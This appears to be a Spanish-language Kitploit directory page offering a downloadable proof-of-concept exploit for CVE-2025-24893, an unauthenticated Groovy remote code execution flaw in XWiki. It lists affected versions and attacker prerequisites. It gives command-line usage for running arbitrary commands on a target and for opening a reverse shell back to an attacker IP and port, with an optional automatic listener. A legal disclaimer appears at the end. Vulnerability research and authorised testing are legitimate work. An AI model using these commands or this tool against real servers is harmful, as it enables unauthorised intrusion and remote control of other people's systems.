Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-24893-PoC — Exploit de RCE no autenticado de XWiki para Reverse Shell | Kitploit
Herramientas/GitHubGitHub/80ottanta80/cve-2025-24893-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso Remoto
GitHub80ottanta80/cve-2025-24893-poc

CVE-2025-24893-PoC

Exploit de RCE no autenticado de XWiki para Reverse Shell

Ver Repositorio
1hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-24893-PoC

Exploit de RCE no autenticado en XWiki

Versiones de XWiki afectadas

  • Versiones < 15.10.11
  • Versiones < 16.4.1
  • Versiones < 16.5.0RC1

Descripción de la vulnerabilidad

Las versiones afectadas de XWiki contienen una vulnerabilidad de Ejecución Remota de Código causada por el manejo inseguro de expresiones Groovy en la macro SolrSearch. Atacantes no autenticados pueden ejecutar código Groovy arbitrario de forma remota y obtener una shell inversa.

Prueba de Concepto

Este exploit se puede utilizar para ejecutar código en la máquina objetivo y también puede establecer una shell inversa. Dos modos están disponibles: interactivo o basado en parámetros. El exploit puede iniciar automáticamente un listener o utilizar uno existente.

Salida interactiva de XWiki

Requisitos previos

Máquina atacante

  • Python 3
  • El script del exploit
  • Netcat (si no se utiliza el listener automático)

    • Máquina objetivo

    • Versión vulnerable de XWiki
    • Conectividad de red con la máquina atacante

    Uso

    Modo interactivo

    root@kitploit:~
    python3 xwiki_groovy_rce.py

    Modo de parámetros

    root@kitploit:~
    # Remote Code Execution
python3 xwiki_groovy_rce.py --code "mkdir test" -u http://example.com

# Reverse Shell with automatic listener (default)
python3 xwiki_groovy_rce.py --reverse-shell -u http://example.com -i YOUR_IP -p 4480

# Reverse Shell without existing listener (no automatic listener)
python3 xwiki_groovy_rce.py --reverse-shell -u http://example.com -i YOUR_IP -p 4480 --no-listener

    Parámetros

    -h/--help: Muestra el menú de ayuda

    -u/--url: URL de XWiki objetivo (requerido)

    -r/--reverse-shell: Ejecuta una shell inversa

    -c/--command: Ejecuta un solo comando

    -i/--ip: Especifica la IP del listener (solo para shell inversa)

    -p/--port: Especifica el puerto del listener (solo para shell inversa, por defecto=4444)

    --no-listener: No iniciar un listener (solo para shell inversa)

    Referencia

    • https://github.com/dollarboysushil/CVE-2025-24893-XWiki-Unauthenticated-RCE-Exploit-POC/tree/main
    • https://nvd.nist.gov/vuln/detail/CVE-2025-24893
    • https://www.offsec.com/blog/cve-2025-24893/

    Descargo de responsabilidad legal

    Esta prueba de concepto es solo para fines educativos y de pruebas autorizadas.

    El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito para probar es ilegal.

    Los autores no se hacen responsables del mal uso de esta información.

    Descargar herramienta